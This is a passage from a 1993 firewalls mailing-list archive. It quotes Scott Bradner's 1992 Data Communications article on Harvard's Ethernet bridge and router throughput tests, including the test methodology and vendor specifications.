stuff. Last time I asked, he'd done a few tests of filter performance, but not many. If I'm reading the charts correctly, both Cisco and Wellfleet routers were able to run at about full Ethernet speed with 10 filters in place. I don't have any details of the filters used, and in particular I don't know if he was filtering on port numbers, or just on addresses. From Firewalls-Owner@GreatCircle.COM Thu Dec 30 17:51:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26239; Thu, 30 Dec 93 17:51:14 GMT Received: from unidata.ucar.edu (groucho.unidata.ucar.edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26097; Thu, 30 Dec 93 09:34:26 PST Received: by unidata.ucar.edu id AA01985 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Thu, 30 Dec 1993 10:35:41 -0700 From: Mike Schmidt Message-Id: <199312301735.AA01985@unidata.ucar.edu> Date: Thu, 30 Dec 1993 10:35:41 -0700 To: jim@Tadpole.COM Subject: Re: Packet Filter Performance (long) Cc: firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I don't remember who he was, or where to get the graphs. Perhaps > someone with more time than I can find it via archie/... I think the information you are looking for is available via anonymous ftp on hsdndev.harvard.edu in pub/rtests/10.91 I have not checked this, but rather citing the article below. mike ----------------------- Path: ncar!ames!haven.umd.edu!darwin.sura.net!jvnc.net!yale.edu!yale!hsdndev!sob From: sob@hsdndev.UUCP (Scott Bradner) Newsgroups: comp.protocols.tcp-ip,comp.dcom.lans Subject: Harvard bridge/router performance tests Message-ID: <273@hsdndev.UUCP> Date: 13 Feb 92 03:51:31 GMT Followup-To: comp.protocols.tcp-ip Organization: Harvard University Lines: 953 Xref: ncar comp.protocols.tcp-ip:20130 comp.dcom.lans:10874 Many of you know about the router/bridge performance tests that I do here at Harvard every now and then and the fact that they were written up in Data Communications mag last year and this year (the Feb issue both years) Lat year, after much discussion, I got Data Comm to agree to allow me to put the text of the article out on the net for all to get, even if they don't get Data Comm. That was fine but they did not send me the final edited version until more than a month after the article appeared by which time I felt it was too late to be posted. This year they actually sent the text before the article hit the streets with a requirement that I wait until now to post it. If you are not interested in it - now is the time to "n" Some of you have dealt with getting things published in this type of magazine, to those of you who have not - you are missing something you want to miss. Everything is done at the very last minute and the product sometimes is only vaguely related to what you sent in. It was about that way with Data Comm, the just is right but the words are not what I sent them. At times they seemed to have decided that the article was about 30% long so they took out 1 in 3 words using a pseudo random number selection algorithm that I've not yet broken. (I sent in 10,133 words - 5,448 were published - I talk too much) Here is an example: --From me: (too many words and more than a bit rambling) Software versions: The versions of the software installed in the tested devices are shown in table xx. These tests were designed generally to categorize the performance of these internetworking devices rather than to gather "data-sheet" information. In some cases (in about one half of the routers), bugs resulting from the load created were uncovered during the testing process. In all but one case the vendors repaired the bug and the device was retested. The results of the test with the repaired software are used in this report. It is expected that the repaired software will soon be part of the standard distribution for these products. In some cases, the entire test suite was repeated with more than one version of the device software. (In these cases the production version was run along with an advance copy of a new release; as one might expect, the "better" result was used. Note that no partial results were used. The vendor's representative chose which software to use and the full test results with that software were recorded.) Even without taking into account these bug fixes, there is no way to be sure that normal release (or pre-release) software was provided for the tests without comparing the executables to another set obtained by some other means. Since both Wandel & Goltermann and Alantec will be retailing the test platforms with copies of the same test as are run at Harvard, it would not seem to be worth the risk for a vendor to cheat. An independent tester could, at any time, test production devices. If the performance of these differed significantly from the results achieved at Harvard the resultant negative publicity would far outweigh any benefit gained from "special" software. To minimize even this risk, and as the result of discussions with a number of vendors, participants in future rounds of testing will be asked to sign a statement declaring that the software used in the tests will be incorporated into the standard release version within 3 months of the test date (or at the next scheduled release after three months, if the vendor uses a regular release schedule). --When they got done: (some of the points but not quite the same message) The software version used in the tested devices can be found in the vendor list (see the Vendor Roundup, page 65); some prereleased code was used. Bugs were discovered during the test process in about one-half of the routers; in all but one case, the vendors fixed the problem and the device was retested. All reported results are for corrected software, which will likely soon be part of the standard distribution of these products. Since both Alantec (Fremont, Calif.) and Wandel & Goltermann Inc. (Research Triangle Park, N.C.) plan on selling test platforms that implement the same tests used in these evaluations, there is little likelihood that vendors would risk modifying their devices just for these particular trials. --------- You will have to get the Mag if you want the colorful artwork. All of the data is on hsdndev.harvard.edu in pub/rtests/10.91 for anonymous ftp. Note for those of you who have already grabbed a copy of it, a number of new results have been added in the last month. Including devices tested after Interop and in one case, a vendor rented the test lab (now in operation) to have their device retested with a new release of their software (which is faster than the older version) Comments to me or the list(s) depending on mood. Here is the text - not that this is copyright Data Comm. ( a requirement - sigh) but you can reproduce it as long as the copyright goes along. Scott --------------------------- Note: The following text is copyright 1992 by Data Communications, permission is hearby given for reproduction, as long as attribution is given and this notice is included. The article was published in the Feb 1992 issue of Data Communications. --------------------------- tophed LAB TEST / ETHERNET BRIDGES AND ROUTERS by By Scott O. Bradner, Harvard University hed Ethernet Bridges and Routers: Faster Than Fast Enough -------------------------- bio Scott O. Bradner is a consultant at Harvard University and designs and develops network-based applications. He is chairman of the technical subcommittee of the Internet Engineering Task Force (IETF) Benchmarking Methodology Working Group (BMWG) and the chairman of the technical committee for Nearnet, the New England Academic and Research Network. -------------------------- Vendors of Ethernet bridges and routers have good reason to be proud. Over the past two years, they've gotten the performance of their products to the point that raw speed is no longer the key consideration in purchasing decisions. In fact, tests performed this fall at Harvard University and published here as part of the DATA COMM Lab Tests reveal that all of the products evaluated -- totaling more than 20 devices from 16 vendors -- can handle better than 99 percent of the maximum theoretical throughput of an Ethernet LAN with the largest legal packets. And when it comes to small packets, virtually all of the bridges and routers tested can hit 50 percent of the maximum throughput. That was hardly the case two years ago, when the fastest router could only support 90 percent of Ethernet's maximum throughput with large packets and none could achieve 50 percent saturation with small frames. For network managers, this means that when Ethernet performance is impaired, it's generally not going to be their bridges and routers that are at fault. More likely culprits will be found in other networking gear (such as slow disks on file servers) or can be traced to inherent Ethernet limitations. Of course, without performance as a ready measuring stick, network managers will have to turn to other criteria when evaluating products -- among them price, vendor support, interfaces, security, and ease of use. Other major findings of this round of tests include: ** Bridges and routers themselves are changing. It's true that boxes with two and four ports now can deliver unprecedented performance, but a new generation of bridges and routers is starting to emerge. Equipped with 10 or more ports, these multistream newcomers can deliver aggregate effective throughputs of at least 50,000 packets per second (pps). Two multiport bridges -- Kalpana's Etherswitch and Synernetics's LANplex 5000 -- and a pair of multiport routers -- Cisco's AGS+ and Alantec's Power Hub -- are definitely the coming trend in internetworking. ** Router vendors have sharpened their products' protocol- handling abilities to the point that there's less than 5 percent difference in the speed with which any box deals with TCP/IP, Apple's Ethertalk, Digital Equipment Corp.'s DECnet, and Novell's IPX (among others). (For that reason, only performance results for TCP/IP are presented.) ** With minor exceptions, the remote performance of Ethernet bridges and routers is virtually identical. All of the products evaluated far outstrip the WAN links used to connect Ethernets. Of course, if speed is no longer the deciding factor among Ethernet routers and bridges, why publish a performance test at all -- especially since the results of the Harvard tests were made available over the Internet? For one thing, these findings indicate an essential change in the way Ethernet bridges and routers will be judged and thus are too important to go unheralded. For another, many vendors have been excerpting and interpreting the Internet test data in ways that put their products in the best possible light -- a short-term strategy that can only hurt the industry. Publishing these results along with meaningful interpretation enables readers of DATA COMM to make up their own minds. HEAVY TRAFFIC Ethernet LANs accommodate a variety of traffic: Terminals typically generate small frames, on the order of 64 bytes, while file transfers usually involve larger ones. Since Ethernet can theoretically accommodate 14,880 64-byte packets each second, it's generally not the smaller packets that load down a LAN (64 bytes is the minimum legal Ethernet packet). In fact, it would be very difficult for a network node or reasonable collection of nodes to generate that level of traffic. Even the busiest networks at Harvard only average 400 to 500 pps. And peak throughput doesn't exceed 4,000 pps. But at Ethernet's maximum legal packet size of 1,518 bytes, it takes only 812 pps to fully load a LAN. Today's high-speed file servers easily can generate extended bursts at this rate. Thus, it's essential that routers and bridges support Ethernet's full theoretical load at the largest frame size. The good news is all but two of the devices tested were able to handle more than 99.8 percent of the full Ethernet load at the maximum packet size. And even the two routers that couldn't were able to handle more than 99.1 percent. There's further good news: It's extremely unlikely that any production Ethernet with more than two or three devices will ever approach these theoretical limits. Ethernet is a collision detection scheme; all nodes send out data at the same time and contend for the network. The overhead and delay associated with settling contention guarantee that real-world throughput will be nowhere near the theoretical limit. It's safe to say that as long as a bridge or router linking two Ethernets can process about 5,000 64-byte pps and handle 730 to 771 1,518-byte pps (90 percent to 95 percent of saturation), it will not hinder network performance. Bear in mind that processing requirements grow as the number of LAN connections increases. A router or bridge that has 10 Ethernet ports should be able to process 25,000 64-byte packets each second. The multiport products tested surpassed this speed. SAFE AT ANY SPEED? The performance of most of the bridges and routers evaluated was characterized in terms of maximum reliable throughput. As defined by Internet standard RSC 1242, this metric defines the highest speed such devices can sustain without dropping a packet. This series of tests established single-stream throughput for both 64- byte and 1,518-byte packets. Since all of the products tested could handle greater than 99 percent of the theoretical limit for the maximum packet size, only the throughput for minimum-sized packets is presented in the following tables and figures. A different metric, packet loss rate, was used for the multistream testing of the high-end multiport bridges and routers from Alantec (Fremont, Calif.), Cisco Systems Inc. (Menlo Park, Calif.), Kalpana Inc. (Los Gatos, Calif.), and Synernetics Inc. (North Billerica, Mass.). Packet loss, in effect, determines how these devices behave under stress. To determine the packet loss rate, the maximum theoretical throughput for a particular packet size is sent through the device for 30 seconds and the percentage of lost packets is recorded. The throughput is then reduced to 90 percent of the theoretical maximum and the test repeated. Maximum useful throughput was not tested for the high-end devices, since with multiple streams a single slow stream could yield a low throughput value that might not be indicative of overall device performance. Only single-stream results are given for all other vendors; no bidirectional test information is included. Finally, the bridges and routers were tested only with adjacent, or directly connected, Ethernets. That meant the routers did not have to update their routing tables using such protocols as RIP (routing information protocol). Nevertheless, router designers and vendors believe that performance for adjacent LANs is a good indicator of how a product performs when routing tables are involved. This round of tests used one protocol at a time. Coming tests at Harvard will use multiple protocols, as well as multiple data streams and bidirectional traffic (for more details, see ``Test Methodology''). LOCAL DUAL-PORT BRIDGES The local two-port bridge tests examined the MB25E from Cabletron Systems Inc. (Rochester, N.H.); the HP28673a and HP28681a from Hewlett-Packard Co. (Palo Alto, Calif.); the PCbridge from LANport Development Inc. (San Francisco); the 8230 from Newbridge Networks Inc. (Herndon, Va.); and the LEB-1 from RAD Network Devices (RND, Rochelle Park, N.J.). When tested with 1,518-byte packets, all of the local two-port bridges were able to handle more than 97 percent of the theoretical maximum load (812 pps). With 64-byte packets, all but one of these products were able to deal with at least 7,000 64- byte pps, almost half of Ethernet's theoretical maximum of 14,880 pps with 64-byte packets. The one exception, RND's LEB-1, was a beta version of a new product. The vendor says the production version is far faster (see Figure 1). The two top performers were both from HP. The most surprising performance was turned in by the Newbridge 8230. By extensively using surface-mount technology to reduce the size and weight of its box, the company has managed to pack a lot of power into what at first looked to be an empty black plastic case. The field for the remote two-port bridge test consisted of the HP28674a, the Newbridge 8230, and the RND REB-10. The maximum packet rates that routers and bridges with WAN connections could achieve were 120 pps for a 56-kbit/s link and 3,300 pps for a T1 link (using a data rate of 1.536 Mbit/s). Both packet rates are 110 percent of the maximum possible at 56 kbit/s and T1 to allow for the header compression performed by some devices. The fastest remote dual-port bridge when tested over a 56-kbit/s WAN link was the HP 28674a, which was about 20 percent faster than the rest of the pack (see Figure 2). Since the 120-pps maximum that a remote bridge can obtain on a 56-kbit/s line is only about 0.3 percent of an Ethernet, differences between products would not normally be visible to the user. All of the devices exhibited virtually identical performance with maximum- sized packets -- hardly surprising since the rate is largely determined by the link speed. It should be noted that even though the dual-port bridges were not tested at T1, some of them offer this option. THE FASTEST DEVICES The most impressive performance was turned in by the high-speed multiport bridges -- Kalpana's Etherswitch and Synernetics's LANplex 5000 -- and the top-end multiport routers -- Cisco's AGS+ and Alantec's Power Hub. The Kalpana, Synernetics, and Alantec products are the first of a new generation of internetworking devices that move full bridge or router functions into hub-type architectures. This is a step beyond the bridge or router cards that can be plugged into a hub. These new products deliver bridging or routing on a per-port basis. All three can be configured as multiport bridges, and the Alantec Power Hub also can be set up as a multiport router. (The Cisco AGS+, although not designed to replace Ethernet hubs, can be configured as both a multiport bridge and router.) Devices like these often are used as central hubs linking multiple Ethernets in buildings or campuses. Network administrators claim this configuration delivers excellent performance and a number of management advantages over LANs linked by distributed routers connected by an FDDI LAN. The four devices were tested on their ability to handle six data streams. In this case, the maximum theoretical throughput with 64-byte packets is 89,280 pps (6:14,880). Three of the four devices were able to process more than 65,000 64-byte packets per second, actually outrunning the test setup (see Figure 3). The Power Hub handled slightly more than 50,000 pps, but when tested with 1,518-byte packets it could still push through more than 98 percent of six full Ethernets -- a rate of nearly 58 Mbit/s. Interestingly, when the Cisco and Alantec products were configured as routers, they turned in virtually the same performance as the two multiport bridges. Tests conducted with the Cisco and Alantec boxes configured as bridges revealed that performance is within 1 percent of stated router performance. LOCAL MULTIPORT TCP/IP ROUTERS There were some surprises when it came to the testing of two-, three-, and four-port local TCP/IP routers: A pair of general- purpose workstations configured as routers beat their standalone competition (see Figure 4). The PCroute from LANport and the Sparcstation II from Sun Microsystems Inc. (Mountain View, Calif.) both processed more than 10,000 64-byte packets per second, although it should be noted that the Sun platform was not all that useful as a workstation while forwarding at this rate. Still, this is impressive performance. One advantage of working with PCs configured as routers is that network administrators don't have to start from scratch with an unfamiliar standalone unit. The PCroute was not equipped with WAN interfaces, and the correct cables for linking the Sparcstation to the wide area were not available until after the tests, but both systems should be able to easily route over a WAN link. The rest of the local TCP/IP routers are more than adequate for connecting two Ethernets. Note that the performance of the BBN T/20 is misleading. As reported last year, the T/20 is able to process 100 percent of Ethernet traffic with frames of 256 bytes and above (see ``Testing Multiprotocol Routers: How Fast Is Fast Enough?'' February 1991). The relatively low throughput with 64- byte packets is the result of a conscious design choice; its overall ability to forward data is actually better than that of the other products in this category. It also should be noted that the 3Com Netbuilder I was tested, not the announced Netbuilder II. Even though Netbuilder I meets all the requirements of local IP routing (and does a fine job routing over WAN links), 3Com claims Netbuilder II is much faster. LOCAL MULTIPORT TCP/IP ROUTERS Five routers were evaluated in this category, all with more than four ports. Each exhibited a throughput of more than 10,000 64- byte pps and above 99.2 of the theoretical maximum load with a single stream of 1,518-byte packets (see Figure 5A). A number of the routers, in one path or another, achieved a throughput of more than 14,000 64-byte pps (more than 94 percent of the theoretical limit). Many of these devices also were tested with two or more streams -- with equally impressive results. (The findings of those tests are not presented since testing is not complete.) This portion of the tests measured throughput both between the boards in a device and between ports on the same board. Cisco's AGS+, the Time/LAN 100 from Timeplex Inc. (Woodcliff Lake, N.J.), and the CNX 500 from Proteon Inc. (Westborough, Mass.) performed better between boards; the NSC 6800 from Network Systems Corp. (Minneapolis) performed better between the ports on one board. All of the remote TCP/IP routers were able to keep up with 64- byte traffic over a 56-kbit/s link and with 1,518-byte packets on a T1 link. The least expensive of the remote routers, the LANb/280 from Network Application Technology (Cupertino, Calif.), was somewhat slower with small frames at both WAN speeds (see Figures 5B and 5C). It did well enough with large frames over T1 to win any price/performance contest. The Cisco AGS+ and IGS and the Proteon CNX 500 must do some form of header compression, since they were able to support virtually all of the offered frames, even though that load was 110 percent of what should be theoretically carried on the WAN link. USER CHECKLIST As the tests indicate, performance is no longer the deciding factor when purchasing an Ethernet bridge or router. The following checklist should help network managers trying to evaluate products: ** Price ** Political issues: Has the purchasing committee or top management already signed off on a particular vendor? ** Support: Does the vendor offer electronic access to its support staff? Can software updates be had over the Internet? ** Scale of purchase: If spare units are kept on hand (so-called local sparing), switching vendors is only worthwhile when enough new units are needed to make it cost-effective to purchase required spares. ** Vendor expertise: How well does the vendor track standards? What committees does it have representatives on? How influential is the vendor on standards committees? Expertise will show up in product design and performance. ** Interfaces required: Are the types of needed interfaces supported? ** Protocol support: Are the requisite protocols supported? ** Security: What filtering options are available? Is it possible to filter on characteristics of the data stream such as source and destination address, protocols used, and applications being executed? ** User interface: How intuitive is the interface? Does the router require a special terminal for configuration? ** Documentation: Does the vendor provide readable documentation, including a comprehensive index? ** Network management: Does the product support SNMP? Can it accommodate MIB II and its extensions for different protocols? Does it supply adequate tools for troubleshooting, such as ``ping,'' the TCP/IP echo request? ** Uptime: If the router is in a mission-critical appliction, does it have hot-swappable components and redundant power supplies? ** Operational characteristics: Can the system image be booted from across the network or does it have to be loaded manually at each router? Can new software be remotely downloaded? FUTURE TESTS In addition to the ongoing testing activities of the Harvard lab, a special series of tests concentrating on FDDI and token ring will be done in time for the Interop 92 spring show. Another open-invitation series of tests will be run early this fall, and the results will be published in DATA COMMUNICATIONS. The test suite will be expanded to follow the recommendations of the IETF's Benchmarking Methodology Working Group (BMWG) and will include the measurement of device latency. The BMWG documents are explicitly promote the development of parallel testing activities, and it is hoped that other organizations, some with better resources than the Harvard lab can muster, will join in the process of quantifying the performance characteristics of network interconnection devices. All descriptions of the test setup at Harvard and any Harvard-produced software or testing scripts will be available over the Internet. The greater the number of facilities available that implement equivalent testing procedures, the better it will be for the consumer. ------------------------------------------------------------------ Test Methodology The accompanying article summarizes the results of the fourth series of performance evaluations of data network interconnection devices run at Harvard University (Cambridge, Mass.). Participating vendors consisted of a self-selected group: Some vendors saw the test announcement that had been posted to an Internet bulletin board (comp.protocols.tcp-ip). Others read the DATA COMM Lab Test ``Testing Multiprotocol Routers: How Fast Is Fast Enough?'' (February 1991) and contacted the lab. Much of last year's article was devoted to examining conditions on data networks and the criteria for selecting network interconnection devices. That information has not been repeated here. The tests were developed using the guidelines on which the Benchmarking Methodology Working Group (BMWG) of the Internet Engineering Task Force (IETF) has been working. The software version used in the tested devices can be found in the vendor list (see the Vendor Roundup, page 65); some prereleased code was used. Bugs were discovered during the test process in about one-half of the routers; in all but one case, the vendors fixed the problem and the device was retested. All reported results are for corrected software, which will likely soon be part of the standard distribution of these products. Since both Alantec (Fremont, Calif.) and Wandel & Goltermann Inc. (Research Triangle Park, N.C.) plan on selling test platforms that implement the same tests used in these evaluations, there is little likelihood that vendors would risk modifying their devices just for these particular trials. In most cases a vendor representative was present during testing; this representative configured the router or bridge according to the test specifications. Routers were set up to enable all protocols to be tested along with bridge mode, if supported. The configuration was not modified while the test suite was run. If the same device was used with more than one interface (for example, local Ethernet and WAN), it was reconfigured to enable those interfaces. Specifically, devices could not be reconfigured between tests to affect the performance with a particular protocol or packet size. With many protocols, a router must receive an information frame of some type from the destination node in order to set up its internal routing control table. The test equipment was programmed to supply these frames. When a bridge receives a frame, it normally forwards it to all of its ports (flooding) unless it knows the specific port through which the destination can be reached. The bridge learns the location of devices by watching the source address field of all frames on all connected LANs. In order to ensure that the bridge would operate in nonflooding mode, before each test a frame was sent with its source address set to the hardware address that would be used as the destination of the frames in the test stream. The Alantec Power Bits, a specialized version of the Alantec Power Hub configured with automatic testing software, was used to generate and check the traffic sent through the devices (see figure). The Power Bits was connected to a pair of Thin Ethernet transceivers from Cabletron Systems Inc. (Rochester, N.H.) using the company's AUI transceiver cables. The transceivers were attached to two separate thin Ethernet networks, one referred to as the input network and the other as the output network. Transceivers on each of these networks were connected to ports on the device under test. When testing WAN devices, two identical devices were connected using an EL551VX-FT channel/data service unit (CSU/DSU) from Digital Link Corp. (Sunnyvale, Calif.) in place of the single device under test. The Power Bits generated the packets; put an identifying stamp on each; sent them to the device under test; then checked and verified the packet information on return. The testing software and a full set of the test results are available over the Internet (via anonymous ftp from the node hsdndev.harvard.edu in the directory pub/rtests/10.91). A Wandel & Goltermann DA-30 LAN/WAN protocol analyzer was used to verify the accuracy of the Power Bits and as a LAN analyzer. The local and remote tests were performed with packets of 64, 128, 256, 512, 768, 1,024, 1,280, and 1,518 bytes; only the results at 64 and 1,518 bytes are cited. The packet size includes the frame check sequence (FCS) but not the preamble. The maximum theoretical rate for each packet size was used. For the wide-area tests, this was calculated as 110 percent of the maximum data rate, to allow for the header compression performed by some devices. The data rate used for T1 was 1.536 Mbit/s. Maximum Packet Rate Packet size 56 kbit/s T1 Ethernet 64 bytes 120 pps 3,300 pps 14,880 pps 1,518 bytes 5 pps 139 pps 812 pps These tests involved one or more streams of data packets. With single streams, the packets were transferred from one node address on one network to a second node address on a second network. With multiple streams, each stream consisted of a series of packets, all from the same address, with each addressed to a node on a separate network. For example, in the six-stream test, each of the six streams consisted of repeated sequences of six packets. The first packet in each sequence was addressed to a node on the first output network, the second frame to a node on the second output network, and so forth. Only one node address was used on each input and output network. All addresses were designed to appear as nodes on adjacent nets (that is, LANs that were directly connected to the router being tested). Setting up the addressing in this way eliminated any requirement to supply actual routing table updates, since routes to adjacent networks are permanently entered into such tables. The BMWG draft suggests that multiple, random, nonadjacent network addresses be used. Future versions of the test will implement these suggestions. A number of experiments were performed in order to evaluate the reliability and repeatability of the test configuration. Throughput values for a bridge were randomly checked by the W&G DA-30. The results were within a few percentage points of one another. In order to test the tester, a direct connection was made between the input and output networks and the full test suite run. For all tests, the maximum theoretical values were obtained. Throughput was recorded at the theoretical media limit, and the packet loss test produced no lost packets at any data rate. To check repeatability, the entire bridge test was repeated nine times on the same bridge; the routing tests were repeated nine times on the same router. Within each group of tests, the results were within one percent of one another. Devices that supported four or more Ethernet ports also were tested in a multistream configuration to help determine total aggregate packet handling. Only the packet loss test was performed on multiple streams. The Power Bits can generate and check up to six separate full-rate Ethernet streams. The input and output streams were distributed evenly between all interface boards and, as noted, individual packets in each input stream were addressed sequentially to each output port to ensure the most realistic traffic mix. Internet standards are of two basic types, protocol and informational. Both are known as Request For Comments (RFCs). The BMWG has produced one RFC, Benchmarking Terminology for Network Interconnection Devices (RFC 1242). This defines many of the parameters that are measured in the tests reported in this article. The BMWG is now completing a draft for another RFC that addresses the mechanisms that should be used in the actual testing. These tests were performed at the Harvard Network Device Test Laboratory of the Harvard Office of Information Technology. This laboratory was established to provide a facility where the technology required to perform extensive characterization and simulation tests on various types of data network interconnection devices could be developed and made available. A number of vendors have contributed or loaned equipment for use in the lab, including Alantec, Cabletron, Digital Link, and Wandel & Goltermann. Proteon Inc. (Westborough, Mass.) supplied token ring test hardware and software; Timeplex Inc. (Woodcliff Lake, N.J.) provided Time/LAN 100 Router Bridges with testing software and FDDI cables. The lab will be used twice a year for public tests, the results of which will be presented at Interop and published in DATA COMMUNICATIONS. The lab is available for use by individuals or organizations wishing to perform their own performance tests and to conduct research. The equipment in the lab implements much of the BMWG test suite and can be used to simulate the protocol and traffic mix that users would find on their networks. The results of the tests can be added to the results repository on hsdndev.harvard.edu or kept private. For more information on the lab or these tests, please contact the author via the Internet at sob@harvard.edu. -- S.O.B. -------------------------- Thanks A number of acknowledgements must be made in conjunction with these tests. First, of course, are the vendors that supplied test equipment -- Alantec, Cabletron, Cisco, Digital Link, Proteon, and Timeplex. The tests could have never been accomplished without the hard work of the programmers at Alantec and Proteon. As in any endeavor of this sort, the first participants wound up helping with the debugging process. I'd like to thank Earl Veal of Hewlett-Packard and, particularly, Roger Beeman of Cisco Systems for the long hours they contributed during the start-up phase of this round of testing. -- S.O.B. ------------------------------ Vendor Roundup BRIDGES Cabletron Systems Inc. 603-332-9400 Cabletron MB25E Software version tested: Not applicable Spanning tree support: yes Management protocols: SNMP Interfaces: Ethernet Hewlett-Packard Co. 800-752-0900 HP28673a 10:10 LAN Bridge MB Software version tested: C.01.00 Spanning tree support: yes Management protocols: SNMP Interfaces: Ethernet, 10Base-2 HP28674a Remote Bridge RB Software version tested: C.01.00 Spanning tree support: yes Management protocols: SNMP Interfaces: Ethernet, 10Base-2, serial from 9.6 kbit/s to T1 HP28681a 10:10 LAN Bridge LB Software version tested: 8.01.06 Spanning tree support: yes Management protocols: SNMP Interfaces: Ethernet, 10Base-2 Kalpana Inc. 408-428-1150 Etherswitch EPS-1500 Software version tested: Not applicable Spanning tree support: Not applicable Management protocols: SNMP agent Interfaces: Ethernet LANport Development Inc. 415-775-0188 PCbridge Software version tested: 1.21 Spanning tree support: no Management protocols: none Interfaces: Ethernet, async serial from 9.6 kbit/s to 115 kbit/s Newbridge Networks Inc. 703-834-3600 8230 Ethernet Little Bridge Software version tested: Release 1 Spanning tree support: yes Management protocols: SNMP, proprietary Interfaces: Ethernet, 10Base-T, 10Base-2, FOIRL, frame relay, serial from 19.2 kbit/s to 2 Mbit/s RAD Network Devices (RND) 714-891-1446 LEB-1 Local Ethernet Bridge Software version tested: 0.00 beta Spanning tree support: yes Management protocols: proprietary Interfaces: Ethernet, 10Base-T REB-10 Remote Ethernet Bridge Software version tested: 3.02 Spanning tree support: no Management protocols: proprietary Interfaces: Ethernet, fiber, serial from 4.8 kbit/s to 2 Mbit/s Synernetics Inc. 508-670-9009 LANplex 5000 Software version tested: 1.0.0. Spanning tree support: No Management protocols: SNMP, Telnet, rlogin Interfaces: 10Base-T, FDDI ----------------------------------- ROUTERS Alantec Corp. 415-770-1050 Power Hub Software version tested: 1.0 Transport protocols: TCP/IP Routing protocols: RIP Bridge Mode: Ethernet transparent, Telnet Management protocols: SNMP Interconnect protocols: Not applicable Interfaces: Ethernet, 10Base-T, 10Base-5 BBN Communications Corp. 617-873-3268 T/20 Internet Router Software version tested: 1.2 Transport protocols: TCP/IP Routing protocols: RIP, EGP, SPF, BGP Bridge mode: no Management protocols: SNMP, Telnet Interconnect protocols: X.25, PPP, BBN-Trunk Interfaces: Ethernet, 4-Mbit/s token ring, serial from 9.6 kbit/s to 10 Mbit/s Cisco Systems Inc. 415-326-1941 AGS+ Software version tested: 8.3 beta Transport protocols: TCP/IP, DECnet IV and V, IPX, XNS, OSI-CLNS, Appletalk I and II, Apollo Domain, Banyan Vines Bridge Mode: Ethernet transparent, source routing Routing protocols: proprietary IGRP, RIP, HELLO, EGP, BGP Management protocols: SNMP, virtual terminal access via Telnet or MOP Interconnect protocols: HDLC framing, LAP-B, X.25, PPP, frame relay, SMDS Interfaces: Ethernet, 4/16-Mbit/s token ring, FDDI, serial from 9.6 kbit/s to 52 Mbit/s IGS/R Software version tested: 8.2(5) Transport protocols: TCP/IP, DECnet IV and V, XNS, IPX, Appletalk I and II, OSI-CLNP, Apollo Domain, Banyan Vines, PUP, Chaosnet Routing protocols: RIP, EGP, IGRP, HELLO, BGP, bridge spanning tree Bridge Mode: Ethernet transparent Management protocols: SNMP, Telnet Interconnect protocols: X.25, PPP, SMDS, frame relay Interfaces: Ethernet, serial from 9.6 kbit/s to 4 Mbit/s Hewlett-Packard Co. HP 27285A Router ER Software version tested: V 5.43 Transport protocols: TCP/IP, DECnet IV, Appletalk II, XNS, IPX Routing protocols: RIP, OSPF, EGP, bridge spanning tree Bridge mode: Ethernet transparent Management protocols: SNMP, Telnet Interconnect protocols: X.25 Interfaces: Ethernet, serial from 9.6 kbit/s to 2 Mbit/s LANport Development Inc. PCroute Software version tested: 2.23 Transport protocols: TCP/IP Routing protocols: RIP Bridge mode: bridge/router software available Management protocols: none Interconnect protocols: proprietary Interfaces: Ethernet, async serial from 9.6 kbit/s to 115 kbit/s Network Application Technology Inc. 408-733-4530 LANB/280 Software version tested: 1.10 Transport protocols: TCP/IP Routing protocols: RIP Bridge mode: no Management protocols: SNMP Interconnect protocols: PPP Interfaces: Ethernet, serial from 9.6 kbit/s to 2 Mbit/s Network Systems Corp. 612-424-4888 6800 Series Software version tested: 3.0 Transport protocols: TCP/IP, IPX, DECnet IV, Appletalk II Routing protocols: RIP, EGP, HELLO Bridge Mode: Ethernet transparent Management protocols: SNMP, Telnet Interconnect protocols: PPP, frame relay, SMDS, DX link Interfaces: Ethernet, FDDI, serial from 9.6 kbit/s to T3, Hyperchannel, IBM and Cray Channel, minicomputer, IBM Micro Channel Proteon Inc. 508-898-2800 CNX 500 Software version tested: 11.0 Transport protocols: TCP/IP, DECnet IV and V, Appletalk I and II, XNS, Apollo Domain, IPX, OSI-CLNP Routing protocols: RIP, OSPF, EGP, IS-IS, bridge spanning tree Bridge mode: Ethernet transparent, source routing Management protocols: SNMP, Telnet Interconnect protocols: X.25, frame relay Interfaces: Ethernet, 4-Mbit/s token ring, 16-Mbit/s token ring, FDDI, serial from 9.6 kbit/s to 2 Mbit/s Sun Microsystems Inc. 415-960-1300 Sparcstation II SS2 Software version tested: 4.1.1B Transport protocols: TCP/IP Routing protocols: RIP, EGP Bridge mode: no Management protocols: SNMP Interconnect protocols: SLIP Interfaces: Ethernet, serial from 9.6 kbit/s to T1 3Com Corp. 800-638-3266 Netbuilder I Software version tested: 1.1 Transport Protocols: TCP/IP, DECnet IV, IPX, XNS, OSI, Appletalk II, Banyan Vines Routing protocols: RIP, EGP, OSPF, IS-IS, bridge spanning tree Bridge mode: Ethernet transparent Management protocols: SNMP, Telnet Interconnect protocols: X.25, PPP, frame relay, SMDS Interfaces: Ethernet, 10Base-2, serial from 9.6 kbit/s to 7 Mbit/s Timeplex Inc. 201-391-1111 Time/LAN 100 Router Bridge Software version tested: 2.1.1 Transport protocols: TCP/IP, XNS, IPX Routing protocols: EGP, RIP, OSPF, bridge spanning tree Bridge mode: Ethernet transparent, source routing, SRT Management protocols: SNMP, Telnet Interconnect protocols: X.25, DDN, PPP, frame relay Interfaces: Ethernet, 4/16-Mbit/s token ring, FDDI, serial from 9.6 kbit/s to 2 Mbit/s From Firewalls-Owner@GreatCircle.COM Thu Dec 30 17:56:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26288; Thu, 30 Dec 93 17:56:05 GMT Received: from uswat.advtech.uswest.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26281; Thu, 30 Dec 93 09:55:50 PST Received: from futureworld.advtech.uswest.com by uswat.advtech.uswest.com with SMTP id AA08171 (5.65c/IDA-1.4.4 for ); Thu, 30 Dec 1993 10:57:00 -0700 Received: from localhost.uswest.com by futureworld.advtech.uswest.com (advtech.uswest.com) id AA10643 (4.1/at-generic.8Nov93); Thu, 30 Dec 93 10:56:58 MST Message-Id: <9312301756.AA10643@futureworld.advtech.uswest.com> To: john.detke@octel.com (John F. Detke) 